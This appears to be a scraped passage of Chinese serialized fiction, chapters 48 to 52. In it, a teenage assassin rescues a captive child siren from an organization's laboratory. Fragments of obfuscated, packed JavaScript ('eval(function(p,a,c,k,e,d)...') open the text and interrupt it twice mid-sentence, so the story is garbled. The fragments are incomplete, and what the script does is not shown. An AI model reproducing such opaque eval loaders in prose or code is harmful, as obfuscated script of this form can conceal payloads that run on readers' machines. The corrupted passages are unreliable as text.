RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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负伤的少年杀手现在正聚精会神地盯着香槟持枪的双手: 香槟没有经受过射击训练,这点在祂持枪的姿势方面体现的淋漓尽致,也没有什么射击的天赋,这个距离估计能“正中靶心”的可能性不高。 ……小废物。 不过也没有必要去赌祂的命中率和好运气。 黑泽阵死死盯着面前黑洞洞的枪口,考虑到自己腰侧的负伤情况,只有一次机会,只要能在香槟击中要害之前碰到祂,他有八百种办法将香槟放倒。 但是香槟没有给他这个机会。 小孩终于肯摘下在祂头上焊死了的兜帽,露出被修剪过的头发,和脖颈间的银色束缚器,调转枪口,对准了自己的脖子。 “我恨你,黑泽。” 要是你死掉就好了。 手指扣动扳机,一声震耳欲聋的巨响在两人之间炸开。 ——香槟开枪了。 48.二分之一法兰西75 香槟在此之前从未经受过专业的射击训练,但是贴肉的距离,哪有打不中的道理? 子弹擦着亮银色的接口穿过,剩下摇摇欲坠的狗项圈被香槟扯下,随手丢在一边,砸在地上发出一阵闷响。 里面添了定位器,被破坏掉的话,阿莲很快就会找过来。 所以要尽快。 一道地板的间隔,楼下是欢庆的人群,楼上是浴血的罗刹,该怎么选择一目了然,根本不需要犹豫。 顾不得尾巴疼痛,香槟三步并作两步,仗着伤员现在行动不便,飞扑到黑泽阵怀里,整个身子压在他身上,双臂死死搂住他的脖子,糊了自己一身血。 ——不管是塞壬的生理结构是多么不适合跑跳,来见黑泽阵的时候,祂总是跑着的。 香槟胡乱将枪丢在黑泽阵怀里,开始上手掀起他的衣服,摸他的伤口,发热的枪口烫的黑泽阵忍不住闷哼一声,也有可能是被弄疼了。 身上大部分的血都是别人的,有几处钝伤也不会危及生命,不着急处理…… 最要紧的部分是在侧腰处,被黑泽阵自己做过止血处理,看样子应该是上过组织里面的止血喷雾,用绷带绑起来,已经被红色染透了,但是血还是止不住,现在已经隐隐约约有透过绷带渗出来的趋势。 香槟从黑泽阵风衣的内袋里面摸出麻醉,正准备给他止痛,却被一只沾满鲜血的手给制止了。透明的注射器被牢牢地攥在手里,沾染上猩红的罪孽,任凭香槟怎么努力去掰他的手指都无济于事。 拥有十几具尸体的犯罪现场,随时都有可能到来的敌人,撒手就没的香槟,仅仅隔着一层地板,脚下就是川流不息的人海,还有被死者吸引而来的警察…… 黑泽阵是绝对不可能,也没有办法接受自己在这种情况下失去意识的。 鲜血淋漓的少年拍拍小孩的手背。 香槟抢不过他,在心里悄悄骂他有病。 伤号哪还有那么大的力气? 不打拉倒,疼死你算了! 积攒下来的那一点点魔力不能浪费在用言灵给他止痛上,香槟实在没有办法,只好将硬着头皮伸手去拆他打的活结。 伤口处中和了凝血药,血液显得有些不正常的粘稠,不过也好在血没有止住,所以现在拆开处理的时候不会再造成二次创伤。 一圈一圈的红色医疗废物被从黑泽阵身上解下来,堆在一边,像是那天红红白白的脑浆。 尽管做好了心理准备,触碰伤口的感觉总归还是不好过,小孩手上没个轻重,黑泽阵疼得眼前发黑,伸手握住了香槟的后颈。 像是抓住了一只鸟。 鸟类总是这样,站在窗外歪着脑袋和主人对视的时候,漫不经心又难以捉摸,带有鸟类特有的古怪和神经质。 人类是没有办法弄清一只鸟想做什么的。 抖动翅膀不一定意味着飞翔,低头啄食不一定代表着饥饿,它们来时不必提前告知,去时遗落的羽毛也不代表下次再会。 也许它记住了这里是个打秋风的好去处,明天还会来,也许只有一期一会的缘分,以后再也不会见面。 但是黑泽阵知道他们不会是以上的任何一种。 我抓住了这只鸟。 香槟一怔,因为失血有些泛凉的手心抵在自己的要害处,实在有些不适,但现在腾不出手来,也就由他去。 组织的止血药功效再好,最多也就到这个程度了。 香槟双臂紧紧环住他的脖子,将脸埋在他的侧颈,默默叹气,下一瞬间,洁净的魔力喷涌而出。 ……在实验室的时候,曾经很多次见过北地精灵施展治疗术抢救因为药物不良反应而陷入濒死状态的实验体,见得多了,一来二次也就学会了。 束缚器对尚且年幼的塞壬来说,比栓狗的项圈要更加有效,原本应该像血管中的动脉血一样奔涌的魔力,被压迫地宛如乌龟爬行,想要积攒下来一分一毫,比嘴馋的小孩想要攒下零用钱还要艰难。 伤口在魔法的效用下,以肉眼可见的速度飞速愈合,很快就将香槟积攒了半个月的成果挥霍一空,也还远远不够。 于是香槟只好像成绩不佳但又不甘于此的学生,在画满红叉叉的试卷上东翻西凑,好让自己的成绩没那么难看,调动起周身可以使用的所有魔力,都倾泻到那处血淋淋的伤口。 没有了魔力的支持,自然也没有办法继续维持人形: 裹满苍白绒羽的翅膀挣开背部的衣料,像是破茧一样舒展开来,下身的鱼尾也铺展开来,,被地上凌乱的血迹弄脏,因为刚刚的跑动,鳞片零星着掉落,显得狼狈又丑陋,像是砧板上被粗糙的手法刮去鱼鳞的鱼肉,只有任人宰割的份。 事实上也确实如此。 魔力干涸的感觉并不好过,人在溺水的时候,为了保持氧气的供给,肺部会将自己压缩成拳头大小,也要努力让主人活下来。 香槟感觉自己像是被榨汁机碾过,然后又嚼过一遍的甘蔗,浑身说不出来的钝痛。 这时候尾巴疼倒是显得没那么重要了——在全身没有一处舒服的时候,哪一个部分的不适倒是没那么明显了,可能是疯了吧。 黑泽阵的伤口已经结痂,刚刚流失的血液也已经补充了过半,现在是可以正常行动的程度。 少年将刚刚忙着治疗掉在身边的手枪捡起来,检查了一下子弹剩余的数量,塞进自己腰间,顺势揽着小孩的身体,站了起来,稍微活动一下,感觉自己现在大概还能展现出之前的八成水平。 ——没办法正常行动香槟也没有办法了,所有魔力都已经被消耗殆尽,再也挤不出一点点力气的香槟瘫软在对方身上,开始纠结自己的接下来应该怎么办。 ……好……累…… ……好……疼…… 疼痛的身体连思考都变得绵长,小孩子的身体现在最需要的是休息,或者干脆昏过去也好过这样干受罪,而不是想七想八。 更何况想再多也没用,香槟自己也清楚,从弄坏束缚器的那一瞬间开始,选择留在原地而不是尝试逃跑的自己会是什么下场。 组织对香槟的宽容和溺爱建立在祂本身无可替代的价值,和祂不脱离组织的前提上。 至于其他的,睁一只眼闭一只眼都可以糊弄过去。 ……估计发现定位消失的时候,阿莲都要气疯了吧? 活该,最好气死他。 黑泽阵仔细观察了在自己手中现出原形,加上尾长几乎和自己身高相等,现下正脱力将脸埋在自己颈间的小孩,脸色凝重了几分。 香槟在自己身前,因为痛苦控制不住地痉挛,惨白的宛如瓷器一般的脸色,因为过量奔跑导致的鳞片大规模脱落,大片裸漏的软肉现在又开始渗血,还有自己刚刚因为疼痛没控制好手劲,在祂后颈处捏出来的淤青…… 即使是对魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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二选一,组织的帮手,或者闻讯而来的警察。 果不其然,黑泽阵很快和推门而入的男人那双猩红的双眼对上视线,低沉的嗓音中是压抑不住的怒火,像是终于醒过来的活火山:“香槟呢?” 黑泽阵收了枪:“在里面。” 男人转身头也不回地冲进里屋,把一众追随而来的恶犬丢在原地收拾烂摊子,顺便和黑泽阵大眼对小眼。 好在还有人能站出来主持大局。 为首的男人有一双森绿色的双眼,带贝雷帽,留络腮胡子,很纯正的亚裔面孔,绝对一点混血都不沾:“你做的?” 黑泽阵没反驳,算是默认了。 男人被冷待了也不恼怒,点燃一根烟,旁若无人地开始吞云吐雾:“我是金酒,现行动组负责人——有意向的话,拿代号的时候优先来我这里怎么样?” 有天分的孩子没人会苛责他的态度问题,更何况黑泽阵不只是有天分那么简单。 十四岁的年纪,没有外援一穿十七,超额完成任务,没谁有资格对他指手画脚,即使是一众早就拿到了代号的“前辈”也是如此。 没等黑泽阵做出什么反应,猩红眼的男人拎着香槟的翅膀,像是抓鸡一样把祂提起来,回到众人面前。 组织的药物确实强劲,即使被这么对待香槟也没有醒来的征兆。 男人这时候才腾出心思,从记忆的犄角旮旯里找到了黑泽阵的名字,很矜贵地轻轻颔首: “力挽狂澜的同时还找回了香槟——做的不错,黑泽。” 49.二分之一法兰西75 黑泽阵这次任务的亮眼表现,最直接的好处就是可以脱离训练营,作为外围成员通过做任务的方式积累贡献,直到通过代号考核,成为代号成员。 “想好去哪了吗?” 金酒又是那一身半是狼狈半是潇洒的街头乞丐装,带着灰扑扑的贝雷帽,下摆破破烂烂的格子外套,虽然本人坚持是引领时尚潮流,但是打扮得真的很像是街头野生的homeless。左手伸进口袋里,兜比脸干净,右手也伸进口袋里,摸到一个破洞的那种。 黑泽阵这一出一鸣惊人,不知道多少人暗地里在垂涎这颗好苗子,光是他知道的就有七八个人在蠢蠢欲动,要不是金酒邀请在先,恐怕现在门槛都被踏烂了。 男人一点也没有“不应该让未成年人吸二手烟”的优良品德,毫不忌讳地在黑泽阵面前吞云吐雾,甚至还非常大方地递过去一根,很热情地要跟黑泽阵分享,但是被少年毫不留情地拒绝了。 “……你小子迟迟不肯拍板做决定,该不会是想要坐地起价吧?” 越想越觉得自己说得有理。 早些年在BOSS精力丰沛的时候,一个个都乖的像只鹌鹑似的,大气不敢喘一声。在梦里有点什么不该有的想法,都得惊醒甩自己两个嘴巴子。 后来随着BOSS精力不济,对组织掌控力的下降,这种趋势更是几乎摆在了明面上,就差撕破脸皮,组织的派系斗争已经是高层心照不宣的秘密了,以朗姆和匹斯克为主要矛盾,呈辐射状往外扩散到其他核心干部,彼此之间都或多或少有点自己不便明说的想法。 再后来到差不多两年前,组织的一次绝密活动中,十大干部一次性损失了魔法组白兰地、行动组金酒、特派组威士忌三个,那俩老不死的就差把野心写在脸上了,装都不带装的: 上个月匹斯克前脚在训练营里面挑了个金头发怪眉毛的黑皮小子,朗姆后脚就从实验室里面领出来了个白毛鸳鸯眼的小女孩。 现任金酒就是在那个时候上任的。 “朗姆说,要是我同意,马上就可以给我安排代号任务——百加得这个代号刚空下来。” “匹斯克开价一条军火生产线,可以签股份转让合同——但是要先等我自己拿到代号。” 其他的根本没有可比性,不在考虑范围之内就没有必要赘述了。 金酒一听不仅咋舌:还真是豁得出去,下血本了。 男人一面腹诽他黑心,一面又觉得黑泽阵也确实值这个价:十四岁,就能一个人顶十几个代号成员的小组,就算是有运气的成分在,又能水到哪去? 又是从小从组织里面长出来的,知根知底天然就有信任优势…… ——要是能顶住这几年,说不定又是一个干部。 刚刚进入权力圈子的金酒都能想明白的道理,那些个老狐狸只有可能想得更多,给得更多,一个肉眼看得见的盟友,只是需要一点时间成长罢了。 话虽这么说,金酒也是想再给自己争取一下:“你现在是组织里面的红人,可想好了,一般的代号成员就算是你自己想去,肯定也是不敢带你的,其实说到底你能选择的也就那么几个。” “见都没见过的暂且不提,你要是进了哪一个都是要站队的意思——虽然我感觉你才十四岁,个子都没窜起来的年纪就决定了自己的下半辈子有点为时过早,但是这种事想多了总比想不明白要强……” 黑泽阵冷着一张脸,打断了男人的喋喋不休:“选你就不用站队了?” 装什么大尾巴狼,谁比谁高尚一样。 “哎哟,这话说的。” 金酒心说这孩子讲话怎么这么不中听,赶忙给自己找补:“反正你也没得选,跟我干几年,等你拿到代号之后,要觉得处得还行呢,就当是结个善缘,我年纪够当你爸了,你自己也清楚,杀手这行没有做的长的,要是有那个缘分,等我干不动了就给口饭吃就行。” “要是看我不顺眼,咱就一拍两散,你出去另寻高就也好,自立山头也罢,有能帮上忙的只要别和组织对着干,你也尽管开口——好聚好散,就当欠我个人情,行动组人来人往的,人情比命也不逞多让。” 话说到这个地步,诚意和面子都给足了,估计别人再也开不出什么更高的价格。 果然,能拿到代号做到干部的确实没一个简单的。 “阿阵?” 香槟坐在柜子上仰头,塞壬的韧带很软,以一个近乎是下腰的姿势和他讲话:“你对代号有什么规划吗?” 黑泽阵不想听香槟说什么千奇百怪的怪话,遂作没听见处理。 “阿阵阿阵阿阵阿阵阿阵阿阵阿阵阿阵……” “……又干什么?”黑泽阵不胜其烦,遂长话短说,“做任务,出训练营,再做任务,拿代号,就这个样。” ——说的好像做了规划,拿代号的时候就能轮得到我挑三拣四一样。 “当然要规划一下的吧!”香槟对他这种“反正用不上,所以干脆不浪费时间”的心态表示批评,“完全没有想法的话,要是真的有决定权的时候,岂不是就要任人宰割啦?” 黑泽阵于是垂下眼睛,看着在自己面前很有表达欲的香槟:所以又要说什么? 香槟知道他让步了,这是要听自己讲完的意思,于是很正式地清了清嗓子,摆出一副老气横秋的架势: “代号和代号之间肯定也是不同的啦。一般而言,男性成员的代号都会是高度数的蒸馏酒,按照体系分的话,就是六大烈酒:白兰地、琴酒、朗姆、威士忌、龙舌兰、伏特加及其细化的不同小品种,再额外包括一些例如白酒、乌佐、匹斯克、清酒这一类。” “不同代号的授予也不是完全是随机的,会根据获得代号时期工作类型的不同做粗略的划分,比如说情报组就是朗姆分支,行动组就有可能获得哥顿、添加利、必富达这一类的代号。” “但是也没有那么境界分明啦,可能刚开始选择的是行动组,后来做着做着就开始往后勤的方向迁移,但是这样代号是不更换的,所以最好还是要慎重考虑比较好?” 说到自己擅长的部分,香槟开始不自觉地慢慢摆尾巴,闪亮着的尾鳍像海浪一样轻轻拍打在柜门上:“要是可以选的话,最好还是选朗姆酒相关的比较好?虽然名义上是情报组,但是人事组审核需要情报,财务组拨款报销需要情报,行动组更不可能离得开情报……情报组虽然理论上是和其他部 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——截至上次任务回来,香槟被提走之后,已经一个月,准确地说是三十九天没有见面了。 黑泽阵没有想祂的意思,只是为了防止自己走后,香槟找不到自己所以再和上次硬要跟着自己一样,和祂的监护撒泼耍赖,再把自己弄回来,还是一开始就把话说清楚的好。 但是香槟已经将近四十天没有来找自己,说不定是那天之后就对黑泽阵失去兴趣了,现在正在纠缠别人也有可能? 恐怕不是“有可能”,是“八成如此”。 黑泽阵是知道香槟有一点洁癖的,而且还很记仇,那天先是糊了祂一身血,后来又抓了祂的后颈,再往前还剪了祂的头发…… 估计生气了,连带着像嫌弃脏衣服和丑发型一样,开始讨厌黑泽阵了。 但是黑泽阵也没打算把祂哄回来。 讨厌我正好,黑泽阵如是想到,最好以后再也别来,眼不见心不烦的。 等满两个月,要是不来就算了。 这期间顺便可以把伤口养好,那天香槟只治到了结痂的程度,深可见骨的伤口想要痊愈根本急不得。黑泽阵再清楚不过,一个健康没有留下后遗症的身体,对一个杀手是有多么重要。 于是厨房里每天变着花样烹饪滋补一类的食物,有专员每天按照黑泽阵列的清单送一次食材,黑泽阵的厨艺在香槟的“鞭策”下早就练出来了,每顿都不重样,一成不变的是蛋挞和鳕鱼。 ——香槟喜欢吃这种东西,黑泽阵自己不挑食,但是天天吃一样的也会腻。 蛋挞这类高油高糖的还好,鳕鱼这类食材根本放不住,被冻一下肯定就会被香槟挑剔的舌头嫌弃,所以只好每天晚上当夜宵吃掉,麻烦对方第二天再送一份一样的。 黑泽阵感觉自己快要吃鳕鱼吃吐了:“所以香槟要是再不来,我就不等了。” 你那是什么表情? “香槟啊……那天白色的那个?” 男人嚅嗫了一下,话语在舌尖和上颚滚了又滚,最后还是决定说出了口: “在实验室,实验台上。” 50.二分之一法兰西75 苍白手术灯下是香槟带着呼吸面罩的苍白的脸,无力垂落在手术台上的白发像是被烈日曝晒的小鱼,身边来来往往攒动尖叫的人群像是隔着一层水面,看着模糊听起来也不真切,一个个披着白大褂带着口罩,像是苍白的幽灵。 “体温39.8℃,心跳130,血压……血氧跌破75!” 即使看不见任何一个人的下半张脸,光看眼睛也可以发现根本抑制不住的仓惶。 鼓膜间是谁沉重又急促的心跳声,像是在打鼓,又或者是雷雨天此起彼伏的炸雷,不知道是不是祂的错觉,总感觉听起来频率在不断升高。 像是表演中渐入佳境,逐渐步入高潮的鼓点,越来越快愈演愈烈,直到到达鼓手再也没有办法跟上的速度,然后不得已戛然而止。 ——这其实是心跳骤停的征兆。 好吵。 越是这种时候,意识反而更分散了,开始天马行空的想七想八: 听起来就好像是我有一颗巨大的心脏,好像鲸鱼。 塞壬算不算鲸鱼呢? 不知道,香槟毕竟不是专业的生物学从业者,也没有办法说清楚,塞壬作为亚人种,是和人类的亲缘关系更近,还是和鲸鱼的亲缘关系更近一些。 但是有一点香槟倒是很清楚: ……我要死啦。 香槟涣散的双眼无神地看着他们,很平静地意识到了这一点。 居高临下地,无悲无喜地。 像是在三千米高空上,透过飞机的玻璃向下望见繁华的夜景,万家灯火,炊烟袅袅,只是和游子没什么关系。 从那天回来之后,就被阿莲扣上勒得几乎喘不过气来的束缚器,直接打包丢进了研究室。 美其名曰,长长教训。 后来不知道是第几天的时候,打了一针暗红色的药,泛着各种不祥的感觉,看起来就像是干涸的血迹,被装进注射器里面,推进塞壬青色的血管里。 感觉扎完之后就能原地变异,成为满地乱爬着咬人的蚯蚓人。 ……可是我本来也咬人啊? ……我也有尾巴,被扣住变不成腿的时候,也只好在地上爬。 年幼的塞壬纠结了片刻,开始陷入了深深的自我怀疑,这么一想打完之后也没有什么实际上的区别嘛? 也说不定是打完之后就直接被毒死了嘞? 果不其然,言灵操使是有点言出法随在身上的: 药物注射之后短短不到三十分钟,香槟开始出现严重的药物过敏反应,高烧不退,出现幻听幻视,紧接着开始心悸,四肢痉挛,血液含氧量骤减百分之七十,发生急性溶血反应,红细胞凋亡比例高达百分之六十等病症。 好在本身香槟现在就在研究室里,这里一不缺专业器材,二不缺专业医生,原地就能开展抢救。 “心跳骤停了!” 分不清楚是哪一个白幽灵在鬼叫,香槟只觉得有什么东西挪过来,开始在身上连上电极,进行心跳复苏。 还要特有的柔软身体,在电击下弹跳起来,又重重砸在床板上,发出一阵令人牙痛的闷响。 肯定青了。 小孩子一身嫩肉,硬生生砸在床板上,之后肯定又是一大片的淤青。 这种濒死时期的感觉就像是灵魂出窍一样,香槟站在手术灯上,在所有人的头顶上和所有人一起往下看,像是上解剖课观察大体老师。 ……真折腾。 小孩默默腹诽。 不想打针的时候硬要打针,打了针之后要死了又不让死。 心跳检测仪屏幕上的线条拉平,起跳,再拉平,再起跳,看起来像是一场滑稽的默剧。 无用功罢了。 所有人都清楚这一点,香槟大概也能能明白个差不多: 没有办法拯救血红细胞的话,即使再怎么心跳复苏都是白费力气。 但是“塞壬”这个种族早五百年之前就已经灭绝殆尽了,又从哪里找来救命血呢? 跪在手术台旁边,有着一头红宝石长发的北地精灵正在全力输出自己的魔力,妄图在和死神的博弈中多争取到一分一秒,就能改变既定的事实。 大概在她魔力耗尽的时候,这场荒唐剧就能落下帷幕了吧。 香槟如是想到。 ……好累。 虽然还是很不甘心,但是这种时候也没有什么办法了。 已经很努力了,稍微想要休息一下也没什么的吧…… 这么想着,香槟轻轻合上双眼,隔绝刺眼的灯光。 太不甘心了,好想咬人。 咬死阿莲,咬死朗姆,咬死匹斯克,咬死利口酒,咬死阿阵…… 还是算了。 被咬死很疼的。 早知道当初不救阿阵,看着他死掉就好了,大家一起死倒是也干净。 都是现在说什么都晚了,就我自己要死的话,总感觉有点难过。 一声沉闷的巨响,打破了香槟难得的伤春悲秋,引得猝不及防被打断了的研究员们发出难听的惊呼,像是被集体啦呲了小提琴分部。 被巨响吸引了注意的一众白大褂们不约而同地往门口的方向望去: 实验室沉重的大门被巨量的炸药炸开,在翻滚着的灰尘中,一个穿着黑风衣顶着黑礼帽的少年灰头土脸地走了出来,有种滑稽的狼狈。 黑泽阵拿枪就近指着一个:“香槟在这里是吧?” 男人这辈子哪被炸弹炸过,被枪指过,更别提黑泽阵浑身从死人堆里爬出来似的一身煞气,被吓得抖如筛糠,毫不含糊地给黑泽阵行了一个大礼。 被跪了个正着的黑泽阵面色不虞,很不耐烦地“啧”了一声。 好在他本来也是找准了才炸的,也用不着他回答,一脚把拦路的东西踹开,疾步上前,在被人遮挡的间隙里确认了自己没找错。 就是看起来快死了,旁边这么多人,披麻戴孝的,跟举行葬礼似的。 这时候被吓呆了的研究员们才堪堪反应过来,连忙开始连滚带爬地就要按铃找安保,黑泽阵没理他们,伸手拍了拍躺在那里不省人事的香槟的脸: “……死了没?” 没反应,但是有轻浅的呼吸和心跳——还没死透。 最好别死了,那我岂不是白跑一趟。 “是注射还是口服?” 红发精灵的小腿被拷在床腿上,逃也没地方逃,不敢触这个煞神的霉头,连忙回答:“注射,静脉注射。” “还剩多少 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一众在科学界的大拿,每一个拎出去跺跺脚都是叫科研界地震的程度,居然轮得到他这个杀手插手抢救。 哦,黑泽阵想明白了。 他们是研究员,又不是医生,真要论救命还真不一定能比得过自己。 至少自己是真打算救香槟的命,他们主业是研究香槟。 差异一目了然。 手腕血在治疗术的作用下,肉眼可见的变得鲜艳,伤口被魔力波及到,开始有缓慢愈合的征兆,又被黑泽阵上手扯开。 窝在怀里的小孩这才有了点反应,睫毛颤抖,可能是闻到了熟悉的味道,下意识地往他怀里拱了拱。 阿阵身上好硌哦。 “……阵阵?” 我都没咬你,你怎么就死了? 黑泽阵拿着枪空不出手来,所以就拎着枪的那只手蹭蹭祂的脸,权当是敷衍地安慰:“死了没?” 干巴巴的一句废话,一看就是平时不安慰别人,也没被别人关心过。 香槟现在的状态极差,眼花耳鸣,反胃想吐,听过之后反应了好半天才明白是什么意思,后知后觉自己这个祸害还没死成。 一想到没死就可以有机会去找他们算账,黑心肝的小孩就忍不住地开心,顺便还有些背着黑泽阵又想咬人之后的心虚感,遂勉强嘴角上扬了一分: “死了一大半,还剩一小半。” ……还有力气胡说八道,看来是死不了。 黑泽阵权当祂快死了所以胡言乱语:“出去之后给你烤蛋挞煎鳕鱼吃。” 所以还是别死吧。 香槟一向是很懂得寸进尺的,感觉黑泽阵现在很好说话的样子,所以下意识地开始顺竿爬:“还想吃舒芙蕾。” 黑泽阵没说拒绝,冷嗤一声:“你什么都想吃。” 门外传来嘈杂的脚步声,预示着实验室里面的安保终于姗姗来迟。 一队穿着防护服的成年男人挤进实验室,举着枪对着黑泽阵。 “不许动!放弃抵抗!现在立刻离开人质!” 51.二分之一法兰西75 啧。 来的真快。 被一众枪口指着的黑泽阵面色不改,慢条斯理地将手伸向领口,自上而下,一粒一粒地将扣子解开……露出绑在腰上的一圈炸弹! 香槟现在就倚靠在足够将整间实验室清空的炸药上。 但是也不害怕,反正刚才也已经死过一次了,现在还有这么多人陪着,怕什么? 一想到要是炸弹爆炸了,在场所有的人都要炸个粉碎,在最中心的他俩说不定,不是说不定,是一定,被炸得融在一起,尸体处理的时候分不清楚谁是谁的,清理尸体的人脸上那种狰狞的表情,香槟就想笑。 就是实在有点太硌了,这点不好。 不过香槟也没吭声,现在的姿势,阿阵只要反转手腕就可以揪到自己的羽毛,为了自己的翅膀,还是老实一点将就着忍忍吧。 为首的男人见多识广,一眼就看出了其中的关键所在: 炸弹连接着心脏起搏器,一旦黑泽阵心脏停跳,在场的所有人……“砰”! “都把枪放下!放下!” 安德伯格脸色难看,实在是想不明白,这家伙是怎么躲过铁桶一块的监察,精准摸到这一间实验室的: “你怎么混进来的?” * “你发什么神经?!” 男人像是一只被路过行人不小心踩到尾巴的野生狸花猫,不敢置信自己听到了什么。 黑泽阵于是很有耐心地又重复了一遍: “我要进去找香槟——你想想办法。” 赤井务武决定撤回前言,并在心里默默给自己两个嘴巴子。 什么叫“我年纪也是能当你爹了,等我干不动的时候赏我一口饭吃”? 这分明就是找了个活爹! 根本就活不到那个需要被养老的年纪,下周的今天就可以过头七了! “祂救了你的命啊?!” 清醒点吧!和塞壬讲情义,能有什么好像下场,你脖子不想要了? “是,”黑泽阵点点头,说出了让他眼前一黑的回答,“我们第一次见面的时候,你当时不是看见了吗?” 在侧腰处子弹留下的贯穿伤,要是没有香槟治疗,根本坚持不到组织的大部队到来。 “而且有些事其实也经不起推敲,比如说,为什么香槟在组织的地位特殊,但是找监视时候的优先且唯一选择,是我们这种作为组织财产存在的,训练营的孩子?” 如果说是代号不够,但是除了祂身边的监视人员之外,其他是个人就有代号,祂张口就是朗姆、匹斯克这种重量级,甚至香槟自己成天都想和组织对着干,祂都有代号。 如果说是要同龄人,其实差七岁已经差很多了,而且黑泽阵不相信组织里面没有比组织更合适的,同样大七岁的二代三代。 其实答案一开始就已经在明面上了。 “——因为训练营里面的孩子在组织里面没有根基,方便灭口对吧?” 所以在和香槟的这段关系中,黑泽阵从始至终没有选择权,从被祂缠上了开始,就只有两种结果: 要么这个过程足够的长,长到自己可以有时间和机会爬到足够知道“香槟”及其相关情报的地位。 要么就像步其他“前辈们”的后尘,知道了太多不该知道的,然后被处理掉。 ——从这个角度来讲,组织对香槟杀人的宽容也有点没有道理的道理:反正早晚都是要处理掉的,由组织动手还是由香槟动手,本质上其实没有区别。 多那么几个,还不如一次危险任务折损的多。 “还有别的原因。” “在我接手香槟之前的时候,祂是有那种前科的,咬人,挖眼睛——就像是野兽一样,口吐人言的野兽。” 一想起当初的“痛苦经历”,黑泽阵还是忍不住地头疼,顺便气得牙痒痒: “很聪明,但是听不太懂人话,而且脾气差劲,性格很坏,破事也多,不想听的时候听懂了也当没假装听懂。” “我一点一点教祂,折腾了大半年吧,终于能装出个人样。” 这事金酒差不多也知道。 香槟前科累累,在黑泽阵接手之前不算最后没死成的,直接间接搞死了正好十个人,当时金酒还和别人喝酒的时候开盘打赌,说黑泽阵会不会成为第十一个。 金酒打赌黑泽阵能坚持三个月,因为这孩子看着就比一般人机灵了不是一点。 安德伯格另辟蹊径,说黑泽阵说不定会咬回去,毕竟那双三白眼比香槟的鸳鸯眼可有气势多了。 ——结果谁也没赢,黑泽阵坚持了大半年,一丁点事没有,而且眼见着好想要连带着把香槟给驯化成个人样了。 “后来有一次,我出去做任务回来的时候,香槟给我准备了一个‘礼物’——弄死了训练营里面另外一个和我存在竞争关系的孩子。当着我的面,血溅了祂一脸,问我会不会喜欢——和外面喂过的野猫似的,专门抓了麻雀,摆在门口,送人类根本不喜欢,但是自己很满意的‘好东西’。” “那时候我就知道了,之前说的话祂都没听懂,只是因为我说了,所以照做而已。” 黑泽阵也觉得荒唐,自己今年十四岁,就要和另外一个年龄足够当自己爸妈的男人交流育儿心经,而那个被教育的对象也不过比自己小七岁。 往后的多少年之后再想起来,感觉好像自己这辈子对小孩的耐心都在香槟的身上消耗殆尽了,所以看见孩子就会生理性的厌恶。 “我打了祂,然后体罚,叫祂把自己当人,把别人也当人,直到确保祂会长记性,把祂那种坚定的‘众生畜生论’丢进自己都再也找不着的垃圾桶里。” “所以我得去,没道理讲,我要求祂把自己和别人当人,然后别人把祂当畜生……” 千言万语汇聚成一句话:非去不可。 其他的都是在找理由罢了。 “黑泽阵!” 金酒喝住了在他面前罕见地喋喋不休的少年的名字:“你在组织的实验室讲这种话,难道是想要把里面的所有实验体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赤井务武知道,作为半截才加入组织的“可疑人员”,GIN这个代号就是自己能达到的极限了,再往上爬是组织二代三代的权利。 即使做到这个地步,他也没能摸到一点关于BOSS的信息,那个在半个多世纪之前一手创造了组织的男人就像是一个虚无缥缈的传说,连现任的朗姆都没有百分百的把握保证,BOSS现在是否还健在。 只有一块冷冰冰的电子屏,还有变了调的机器音。 但是香槟说不定还见过BOSS,或者说和BOSS关系不一般——朗姆的眼睛都敢扣,甚至成功之后还能全身而退,从哪个角度来讲都不能让祂这么毫无价值的死在手术台上,至少要把全部情报都吐出来。 ……等等。 这事也不是不能操作。 “你知道香槟之前扣了朗姆的眼睛吗?” 黑泽阵:……?! 我应该知道吗? “我之前只知道祂扣过一个人的眼睛,不知道……” 不知道祂敢扣朗姆的眼睛,而且还成功了! 男人盯着这双和自己儿子如出一辙的绿眼睛,决定利用一下这个天赋异禀的少年犯,说不定以后有机会写在自己报告里面,还能申请减刑呢。 前提是他真心悔过的话。 “倒也不是不行……你知道的,实验室的安保问题也是归行动组管嘛。” 52.二分之一法兰西75 实验室里剑拔弩张,凝重到几乎结晶的气氛在几人间蔓延,没人肯先开口打破死寂,只能听见血液砸落在地板上的有节律的轻响。 为首的男人正要说些什么,被消息打断,再次回到实验室的时候,示意他们把枪放下,只是做好了随时处理应急状况的准备。 黑泽阵不被外人的行动打扰,只是默默的守着香槟,中间偶有几次起身,夹杂着更换吊瓶的声音。 一直到香槟流出的血液褪去乌黑,呈现出一种正常的猩红色,要恢复成之前的艳红大概需要之后长时间的静养。 黑泽阵将香槟放在手术台上,拔下针头,摁住手背上盖着医用胶带的针眼,和手中因为长时间输液变得冰冷,血管发青的胳膊,直到止血。 “老实待着,过几天再来看你。” 这是句废话。 黑泽阵知道,香槟也知道。 病号躺在一边,默默注视着黑泽阵丢下手中的枪和□□,放弃抵抗,被一众全副武装看不见脸的人制伏在地,飞速撤离现场。 “……哦。” 小孩强打起精神,低低地应声,不知道是说给谁听的。 ……没死成啊。 周边来来往往叫不出名字来的人在收拾残局,香槟一个都不认识。 浑身惨白着,围着一片狼藉的地面打转,像是蚂蚁,在处理自己被其他大型动物“不经意间”弄毁的蚂蚁洞。 病床被推动,香槟看着对面的那张带着口罩和头套,穿着千篇一律白大褂的人,和厚厚镜片下疲倦又惊恐的眼睛。 ……白色的蚂蚁,就是白蚁? 可是白蚁不是“白色的蚂蚁”,它们和蟑螂才是近亲。 ——在筑窝的蟑螂们。 滚轮在平缓移动,推着刚刚从三途川爬回来的厉鬼,离开即将面临重新修缮的实验室。 因为极度虚弱而涣散的瞳子没有聚焦似的落在空处,不着痕迹地透过缩在墙角的摄像头,和不知道躲在屏幕背后的谁对上视线。 镜头最中心的位置亮着红色的光点,彰显着自己正在兢兢业业的工作,像是某人猩红的眼睛。 ……没阻止啊。 那就再过分一点好了。 